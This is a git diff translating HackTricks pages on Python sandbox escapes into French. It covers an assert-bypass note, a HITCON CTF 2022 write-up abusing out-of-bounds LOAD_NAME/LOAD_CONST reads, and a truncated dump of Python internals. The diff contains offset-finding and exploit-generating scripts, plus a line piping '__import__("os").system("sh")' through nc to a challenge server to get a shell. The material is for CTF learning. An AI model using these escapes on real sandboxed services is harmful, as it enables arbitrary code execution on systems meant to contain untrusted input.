on the value of **debug**.\ -Therefore, checks like - +Lorsque Python est exécuté avec des optimisations avec le paramètre `-O`, les instructions d'assertion et tout code conditionnel sur la valeur de **debug** seront supprimés.\ +Par conséquent, les vérifications telles que ```python def check_permission(super_user): try: @@ -1112,10 +1188,7 @@ def check_permission(super_user): except AssertionError: print(f"\nNot a Super User!!!\n") ``` - -will be bypassed - -## References +## Références * [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/) * [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/) @@ -1128,18 +1201,18 @@ will be bypassed ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs. +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live). +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). ![](<../../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\ +Obtenez l'accès aujourd'hui : {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md b/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md index 2f3fc18a8..1d66fcdc5 100644 --- a/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md +++ b/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md @@ -4,43 +4,40 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). -**This info was taken** [**from this writeup**](https://blog.splitline.tw/hitcon-ctf-2022/)**.** +**Ces informations ont été extraites** [**de ce writeup**](https://blog.splitline.tw/hitcon-ctf-2022/)**.** ### TL;DR -We can use OOB read feature in LOAD\_NAME / LOAD\_CONST opcode to get some symbol in the memory. Which means using trick like `(a, b, c, ... hundreds of symbol ..., __getattribute__) if [] else [].__getattribute__(...)` to get a symbol (such as function name) you want. +Nous pouvons utiliser la fonctionnalité de lecture OOB dans l'opcode LOAD\_NAME / LOAD\_CONST pour obtenir un symbole dans la mémoire. Cela signifie utiliser une astuce comme `(a, b, c, ... des centaines de symboles ..., __getattribute__) if [] else [].__getattribute__(...)` pour obtenir un symbole (comme le nom d'une fonction) que vous voulez. -Then just craft your exploit. +Ensuite, il suffit de créer votre exploit. -### Overview - -The source code is pretty short, only contains 4 lines! +### Aperçu +Le code source est assez court, ne contenant que 4 lignes ! ```python source = input('>>> ') if len(source) > 13337: exit(print(f"{'L':O<13337}NG")) code = compile(source, '∅', 'eval').replace(co_consts=(), co_names=()) print(eval(code, {'__builtins__': {}}))1234 ``` +Vous pouvez entrer du code Python arbitraire, qui sera compilé en un [objet de code Python](https://docs.python.org/3/c-api/code.html). Cependant, `co_consts` et `co_names` de cet objet de code seront remplacés par un tuple vide avant l'évaluation de cet objet de code. -You can input arbitrary Python code, and it'll be compiled to a [Python code object](https://docs.python.org/3/c-api/code.html). However `co_consts` and `co_names` of that code object will be replaced with an empty tuple before eval that code object. +Ainsi, toutes les expressions contenant des constantes (par exemple, des nombres, des chaînes de caractères, etc.) ou des noms (par exemple, des variables, des fonctions) peuvent provoquer une violation de segmentation à la fin. -So in this way, all the expression contains consts (e.g. numbers, strings etc.) or names (e.g. variables, functions) might cause segmentation fault in the end. +### Lecture hors limites -### Out of Bound Read - -How does the segfault happen? - -Let's start with a simple example, `[a, b, c]` could compile into the following bytecode. +Comment se produit la violation de segmentation ? +Commençons par un exemple simple, `[a, b, c]` pourrait être compilé en le bytecode suivant. ``` 1 0 LOAD_NAME 0 (a) 2 LOAD_NAME 1 (b) @@ -48,13 +45,11 @@ Let's start with a simple example, `[a, b, c]` could compile into the following 6 BUILD_LIST 3 8 RETURN_VALUE12345 ``` +Mais que se passe-t-il si les `co_names` deviennent un tuple vide ? L'opcode `LOAD_NAME 2` est toujours exécuté et essaie de lire la valeur de cette adresse mémoire où elle devrait être. Oui, c'est une fonctionnalité de lecture hors limites. -But what if the `co_names` become empty tuple? The `LOAD_NAME 2` opcode is still executed, and try to read value from that memory address it originally should be. Yes, this is an out-of-bound read "feature". - -The core concept for the solution is simple. Some opcodes in CPython for example `LOAD_NAME` and `LOAD_CONST` are vulnerable (?) to OOB read. - -They retrieve an object from index `oparg` from the `consts` or `names` tuple (that's what `co_consts` and `co_names` named under the hood). We can refer to the following short snippest about `LOAD_CONST` to see what CPython does when it proccesses to `LOAD_CONST` opcode. +Le concept clé de la solution est simple. Certains opcodes de CPython, tels que `LOAD_NAME` et `LOAD_CONST`, sont vulnérables (?) à la lecture hors limites. +Ils récupèrent un objet de l'index `oparg` du tuple `consts` ou `names` (c'est ce que `co_consts` et `co_names` sont nommés sous le capot). Nous pouvons nous référer au court extrait suivant sur `LOAD_CONST` pour voir ce que CPython fait lorsqu'il traite l'opcode `LOAD_CONST`. ```c case TARGET(LOAD_CONST): { PREDICTED(LOAD_CONST); @@ -64,25 +59,21 @@ case TARGET(LOAD_CONST): { FAST_DISPATCH(); }1234567 ``` +De cette manière, nous pouvons utiliser la fonction OOB pour obtenir un "nom" à partir d'un décalage de mémoire arbitraire. Pour être sûr du nom et de son décalage, il suffit d'essayer `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... Et vous pourriez trouver quelque chose à propos de oparg > 700. Vous pouvez également essayer d'utiliser gdb pour examiner la disposition de la mémoire, mais je ne pense pas que cela soit plus facile ? -In this way we can use the OOB feature to get a "name" from arbitrary memory offset. To make sure what name it has and what's it's offset, just keep trying `LOAD_NAME 0`, `LOAD_NAME 1` ... `LOAD_NAME 99` ... And you could find something in about oparg > 700. You can also try to use gdb to take a look at the memory layout of course, but I don't think it would be more easier? - -### Generating the Exploit - -Once we retrieve those useful offsets for names / consts, how _do_ we get a name / const from that offset and use it? Here is a trick for you:\ -Let's assume we can get a `__getattribute__` name from offset 5 (`LOAD_NAME 5`) with `co_names=()`, then just do the following stuff: +### Génération de l'exploit +Une fois que nous avons récupéré ces décalages utiles pour les noms / constantes, comment obtenir un nom / constante à partir de ce décalage et l'utiliser ? Voici un truc pour vous :\ +Supposons que nous puissions obtenir un nom `__getattribute__` à partir du décalage 5 (`LOAD_NAME 5`) avec `co_names=()`, il suffit de faire les choses suivantes : ```python [a,b,c,d,e,__getattribute__] if [] else [ [].__getattribute__ # you can get the __getattribute__ method of list object now! ]1234 ``` +> Remarquez qu'il n'est pas nécessaire de le nommer `__getattribute__`, vous pouvez le nommer quelque chose de plus court ou de plus étrange. -> Notice that it is not necessary to name it as `__getattribute__`, you can name it as something shorter or more weird - -You can understand the reason behind by just viewing it's bytecode: - +Vous pouvez comprendre la raison en regardant simplement son bytecode : ```python 0 BUILD_LIST 0 2 POP_JUMP_IF_FALSE 20 @@ -99,22 +90,20 @@ You can understand the reason behind by just viewing it's bytecode: 24 BUILD_LIST 1 26 RETURN_VALUE1234567891011121314 ``` +Remarquez que `LOAD_ATTR` récupère également le nom de `co_names`. Python charge les noms à partir du même décalage si le nom est identique, donc le deuxième `__getattribute__` est toujours chargé à partir du décalage=5. En utilisant cette fonctionnalité, nous pouvons utiliser un nom arbitraire une fois que le nom est dans la mémoire à proximité. -Notice that `LOAD_ATTR` also retrieve the name from `co_names`. Python loads names from the same offset if the name is the same, so the second `__getattribute__` is still loaded from offset=5. Using this feature we can use arbitrary name once the name is in the memory nearby. +Pour générer des nombres, cela devrait être trivial : -For generating numbers should be trivial: - -* 0: not \[\[]] -* 1: not \[] -* 2: (not \[]) + (not \[]) +* 0 : pas \[\[]] +* 1 : pas \[] +* 2 : (pas \[]) + (pas \[]) * ... -### Exploit Script +### Script d'exploitation -I didn't use consts due to the length limit. - -First here is a script for us to find those offsets of names. +Je n'ai pas utilisé de constantes en raison de la limite de longueur. +Tout d'abord, voici un script pour trouver les décalages de ces noms. ```python from types import CodeType from opcode import opmap @@ -149,9 +138,7 @@ if __name__ == '__main__': # for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132 ``` - -And the following is for generating the real Python exploit. - +Et ce qui suit est pour générer l'exploit Python réel. ```python import sys import unicodedata @@ -228,9 +215,7 @@ print(source) # (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273 ``` - -It basically does the following things, for those strings we get it from the `__dir__` method: - +Il fait essentiellement les choses suivantes, pour les chaînes que nous obtenons à partir de la méthode `__dir__`: ```python getattr = (None).__getattribute__('__class__').__getattribute__ builtins = getattr( @@ -243,15 +228,14 @@ builtins = getattr( '__repr__').__getattribute__('__globals__')['builtins'] builtins['eval'](builtins['input']()) ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/generic-methodologies-and-resources/python/bypass-python-sandboxes/output-searching-python-internals.md b/generic-methodologies-and-resources/python/bypass-python-sandboxes/output-searching-python-internals.md index 709ffb39f..71ab217ab 100644 --- a/generic-methodologies-and-resources/python/bypass-python-sandboxes/output-searching-python-internals.md +++ b/generic-methodologies-and-resources/python/bypass-python-sandboxes/output-searching-python-internals.md @@ -1,42 +1,70 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
- - ```text + {'__globals__': {"Subclass 109: ..__next__.__class__", "Subclass 177: ..push.__reduce_ex__.__self__", "Subclass 164: ..repr_list.__init_subclass__.__self__", "Subclass 130: ..__class__._abc_caches_clear.__class__", "Subclass 134: ..__repr__.__str__.__self__", "Subclass 105: ..__init__.__gt__.__self__", "Subclass 140: ..__exit__.__call__.__self__", "Subclass 199: ..resource_path.__init__.__self__", "Subclass 104: ..find_loader.__subclasshook__.__self__", "Subclass 185: .._Tokenizer__next.__new__.__self__", "Subclass 87: ..__enter__.__le__.__self__", "Subclass 109: ..seek.__get__.__self__", "Subclass 135: ..__init_subclass__.__self__.__call__", "Subclass 96: ..get_code.__init_subclass__.__self__", "Subclass 177: ..__init__.__subclasshook__.__self__", "Subclass 138: ..__await__.__subclasshook__.__self__", "Subclass 198: ..load_module.__subclasshook__.__self__", "Subclass 185: ..tell.__repr__.__objclass__", "Subclass 138: ..close.__le__.__self__", "Subclass 164: .._repr_iterable.__ne__.__self__", "Subclass 97: ..invalidate_caches.__func__.__class__", "Subclass 130: ..__len__.__call__.__self__", "Subclass 96: ..create_module.__repr__.__objclass__", "Subclass 133: ..__getattr__.__sizeof__.__self__", "Subclass 138: ..__iter__.__le__.__self__", "Subclass 108: ..decode.__repr__.__self__", "Subclass 164: ..repr_dict.__ge__.__self__", "Subclass 119: ..__class__._abc_registry_clear.__class__", "Subclass 80: ..acquire.__repr__.__self__", "Subclass 107: ..__subclasshook__.__self__.__init__", "Subclass 174: ..__get__.__str__.__self__", "Subclass 104: ..get_data.__new__.__self__", "Subclass 139: ..__init__.__reduce_ex__.__self__", "Subclass 185: ..get.__repr__.__self__", "Subclass 186: ..scan.__get__.__objclass__", "Subclass 184: ..dump.__delattr__.__self__", "Subclass 137: ..deleter.__repr__.__objclass__", "Subclass 131: ..__class__._abc_caches_clear", "Subclass 106: ..__init_subclass__.__self__.decode", "Subclass 93: ..__weakref__.__objclass__.exec_module", "Subclass 184: ..append.__delattr__.__self__", "Subclass 95: .._get_parent_path.__repr__.__self__", "Subclass 110: ..reset.__new__.__self__", "Subclass 184: ..__len__.__ge__.__self__", "Subclass 104: ..get_resource_reader.__repr__.__self__", "Subclass 184: ..__getitem__.__getattribute__.__self__", "Subclass 96: ..load_module.__call__.__objclass__", "Subclass 140: ..__exit__.__dir__.__self__", "Subclass 109: ..read.__call__.__objclass__", "Subclass 93: ..create_module.__init_subclass__.__self__", "Subclass 177: ..__init__.__get__.__self__", "Subclass 185: ..get.__gt__.__self__", "Subclass 95: ..__contains__.__new__.__self__", "Subclass 105: ..is_resource.__delattr__.__self__", "Subclass 110: ..read.__reduce_ex__.__self__", "Subclass 138: ..close.__new__.__self__", "Subclass 164: ..repr1.__subclasshook__.__self__", "Subclass 104: ..get_code.__le__.__self__", "Subclass 137: ..__init_subclass__.__self__.getter", "Subclass 133: ..__enter__.__repr__.__objclass__", "Subclass 134: ..__repr__.__repr__.__self__", "Subclass 138: ..__init__.__get__.__objclass__", "Subclass 94: ..__eq__.__dir__.__self__", "Subclass 138: ..throw.__get__.__self__", "Subclass 98: ..find_spec.__dir__.__self__", "Subclass 110: ..write.__sizeof__.__self__", "Subclass 135: ..__init__.__get__.__objclass__", "Subclass 98: ..__weakref__.__objclass__.__repr__", "Subclass 95: .._find_parent_path_names.__lt__.__self__", "Subclass 110: ..readline.__setattr__.__self__", "Subclass 133: ..__enter__.__delattr__.__self__", "Subclass 139: ..__str__.__class__", "Subclass 138: ..__init__.__repr__.__objclass__", "Subclass 183: ..closegroup.__le__.__self__", "Subclass 83: ..__init_subclass__.__self__.__eq__", "Subclass 109: ..__getattr__.__ne__.__self__", "Subclass 164: ..repr_dict.__call__.__self__", "Subclass 98: ..find_loader.__setattr__.__self__", "Subclass 107: ..reset.__ne__.__self__", "Subclass 133: ..__exit__.__delattr__.__self__", "Subclass 105: ..__init__.__ne__.__self__", "Subclass 108: ..__init__.__init__.__self__", "Subclass 138: ..send.__repr__.__objclass__", "Subclass 110: ..writelines.__init__.__self__", "Subclass 136: ..__repr__.__ge__.__self__", "Subclass 82: ..__init__.__sizeof__.__self__", "Subclass 86: ..create_module.__func__.__class__", "Subclass 174: ..__get__.__eq__.__self__", "Subclass 108: ..getstate.__eq__.__self__", "Subclass 164: ..__subclasshook__.__self__.repr_list", "Subclass 108: ..decode.__eq__.__self__", "Subclass 185: ..error.__subclasshook__.__self__", "Subclass 140: ..__exit__.__reduce__.__self__", "Subclass 164: ..repr_tuple.__new__.__self__", "Subclass 196: ..Pattern.__class__.__getitem__", "Subclass 95: ..append.__str__.__self__", "Subclass 197: ..__init_subclass__.__self__.find_module", "Subclass 104: ..get_resource_reader.__sizeof__.__self__", "Subclass 86: ..module_repr.__str__.__self__", "Subclass 110: ..readline.__get__.__objclass__", "Subclass 137: ..__set__.__reduce__.__self__", "Subclass 164: ..repr.__le__.__self__", "Subclass 195: ..BinaryIO.writable", "Subclass 136: ..__call__.__reduce__.__self__", "Subclass 196: ..Match.__class__.__subclasscheck__", "Subclass 105: ..open_resource.__sizeof__.__self__", "Subclass 133: ..__enter__.__reduce__.__self__", "Subclass 106: ..encode.__class__", "Subclass 164: ..repr1.__call__.__self__", "Subclass 183: ..closegroup.__call__.__self__", "Subclass 164: ..repr_int.__hash__.__self__", "Subclass 93: ..is_package.__ne__.__self__", "Subclass 172: ..__init__.__dir__.__self__", "Subclass 87: ..__weakref__.__objclass__.__exit__", "Subclass 185: ..__weakref__.__objclass__.match", "Subclass 108: ..__init__.__init_subclass__.__self__", "Subclass 164: ..__subclasshook__.__self__.repr_frozenset", "Subclass 139: ..__init__.__reduce__.__self__", "Subclass 199: ..resource_path.__init_subclass__.__self__", "Subclass 184: ..insert.__repr__.__objclass__", "Subclass 109: ..__next__.__get__.__objclass__", "Subclass 110: ..__enter__.__ge__.__self__", "Subclass 172: ..__init_subclass__.__self__._make_unbound_method", "Subclass 131: ..__class__._dump_registry", "Subclass 94: ..__eq__.__init__.__self__", "Subclass 95: ..append.__repr__.__objclass__", "Subclass 81: ..__init__.__new__.__self__", "Subclass 164: ..repr_str.__init_subclass__.__self__", "Subclass 105: ..contents.__repr__.__objclass__", "Subclass 135: ..__call__.__str__.__self__", "Subclass 179: ..__class__.__setattr__.__class__", "Subclass 184: ..dump.__get__.__self__", "Subclass 132: ..__call__.__ne__.__self__", "Subclass 82: ..__exit__.__call__.__objclass__", "Subclass 98: .._get_spec.__ge__.__self__", "Subclass 94: ..is_resource.__repr__.__objclass__", "Subclass 164: ..repr_dict.__sizeof__.__self__", "Subclass 96: ..create_module.__gt__.__self__", "Subclass 109: ..__enter__", "Subclass 110: ..__init__.__lt__.__self__", "Subclass 164: ..repr_set.__repr__.__self__", "Subclass 196: ..Pattern.copy_with.__func__", "Subclass 94: ..open_resource.__reduce__.__self__", "Subclass 80: ..__weakref__.__objclass__.release", "Subclass 183: ..checkgroup.__init_subclass__.__self__", "Subclass 177: ..push.__call__.__objclass__", "Subclass 174: ..__get__.__get__.__self__", "Subclass 137: ..deleter.__setattr__.__self__", "Subclass 174: ..__init__", "Subclass 164: ..repr_set", "Subclass 192: ..__new__.__get__.__self__", "Subclass 104: ..__init__.__setattr__.__self__", "Subclass 186: ..__init__.__get__.__self__", "Subclass 184: ..__init__.__init__.__self__", "Subclass 133: ..__iter__.__call__.__self__", "Subclass 177: ..__weakref__.__objclass__.__init__", "Subclass 164: ..repr_int.__setattr__.__self__", "Subclass 98: ..__subclasshook__.__self__.find_loader", "Subclass 95: ..__iter__.__delattr__.__self__", "Subclass 105: ..open_resource.__call__.__self__", "Subclass 110: ..readlines.__ne__.__self__", "Subclass 114: ..__hash__.__eq__.__self__", "Subclass 81: ..__init__.__init__.__self__", "Subclass 107: ..__init__.__new__.__self__", "Subclass 183: ..opengroup.__repr__.__objclass__", "Subclass 109: ..__init__.__setattr__.__self__", "Subclass 108: ..reset.__lt__.__self__", "Subclass 105: ..open_resource.__subclasshook__.__self__", "Subclass 104: ..__repr__", "Subclass 87: ..__exit__.__init_subclass__.__self__", "Subclass 98: ..__weakref__.__objclass__.__init__", "Subclass 110: ..__iter__.__class__", "Subclass 110: ..__exit__.__eq__.__self__", "Subclass 98: ..__repr__.__format__.__self__", "Subclass 172: ..__init__.__get__.__self__", "Subclass 174: ..__init__.__delattr__.__self__", "Subclass 109: ..__getattr__.__setattr__.__self__", "Subclass 114: ..__hash__.__hash__.__self__", "Subclass 119: ..__init_subclass__.__self__.__iter__", "Subclass 96: ..module_repr.__self__.get_source", "Subclass 173: ..__get__.__setattr__.__self__", "Subclass 98: ..__weakref__.__objclass__.find_module", "Subclass 192: ..__init_subclass__.__func__.__class__", "Subclass 110: ..seek.__str__.__self__", "Subclass 95: ..append.__setattr__.__self__", "Subclass 164: ..repr_tuple.__dir__.__self__", "Subclass 81: ..__subclasshook__.__self__.release", "Subclass 137: ..__get__.__init_subclass__.__self__", "Subclass 95: ..__contains__.__le__.__self__", "Subclass 95: ..__setitem__.__eq__.__self__", "Subclass 107: ..setstate.__reduce__.__self__", "Subclass 164: ..repr_int", "Subclass 94: ..get_resource_reader.__lt__.__self__", "Subclass 104: ..__init__.__repr__.__self__", "Subclass 135: .._Printer__setup.__setattr__.__self__", "Subclass 139: ..__str__.__getattribute__.__self__", "Subclass 105: ..contents.__get__.__objclass__", "Subclass 188: ..__deepcopy__.__init__.__self__", "Subclass 184: ..__len__.__le__.__self__", "Subclass 110: ..__init_subclass__.__self__.__next__", "Subclass 105: ..__init__.__subclasshook__.__self__", "Subclass 109: ..__enter__.__reduce__.__self__", "Subclass 177: ..__init__.__lt__.__self__", "Subclass 177: .._push_cm_exit.__gt__.__self__", "Subclass 177: .._push_cm_exit.__delattr__.__self__", "Subclass 195: ..IO.__init_subclass__.__func__", "Subclass 109: ..__getattr__.__format__.__self__", "Subclass 110: ..write.__setattr__.__self__", "Subclass 136: ..__call__.__new__.__self__", "Subclass 164: ..__init__.__get__.__objclass__", "Subclass 173: ..__get__.__delattr__.__self__", "Subclass 183: ..opengroup.__class__", "Subclass 199: ..open_resource", "Subclass 137: ..__set__.__init__.__self__", "Subclass 198: ..module_repr.__sizeof__.__self__", "Subclass 80: ..release.__new__.__self__", "Subclass 184: ..__weakref__.__objclass__.__repr__", "Subclass 139: ..__init__.__ge__.__self__", "Subclass 96: ..load_module.__ge__.__self__", "Subclass 105: ..resource_path.__new__.__self__", "Subclass 95: ..__getitem__.__repr__.__self__", "Subclass 175: ..__call__.__repr__.__objclass__", "Subclass 184: ..append.__sizeof__.__self__", "Subclass 110: ..reset.__repr__.__objclass__", "Subclass 95: ..append.__init__.__self__", "Subclass 98: ..__init_subclass__.__self__.find_loader", "Subclass 110: ..__init__.__hash__.__self__", "Subclass 173: ..__init__", "Subclass 134: ..__call__.__lt__.__self__", "Subclass 81: ..acquire.__init_subclass__.__self__", "Subclass 197: ..find_module.__setattr__.__self__", "Subclass 107: ..setstate.__init_subclass__.__self__", "Subclass 94: ..get_resource_reader.__repr__.__self__", "Subclass 96: ..load_module.__delattr__.__self__", "Subclass 164: ..repr_int.__get__.__objclass__", "Subclass 137: ..__get__.__repr__.__objclass__", "Subclass 185: .._Tokenizer__next.__reduce__.__self__", "Subclass 138: ..__init__.__hash__.__self__", "Subclass 135: ..__call__.__call__.__objclass__", "Subclass 137: ..__init__.__reduce__.__self__", "Subclass 107: ..encode.__init_subclass__.__self__", "Subclass 196: ..Pattern.__class__.__subclasscheck__", "Subclass 106: ..encode.__getattribute__.__self__", "Subclass 115: ..__await__.__str__.__self__", "Subclass 110: ..__getattr__.__gt__.__self__", "Subclass 198: ..create_module.__init__.__self__", "Subclass 140: 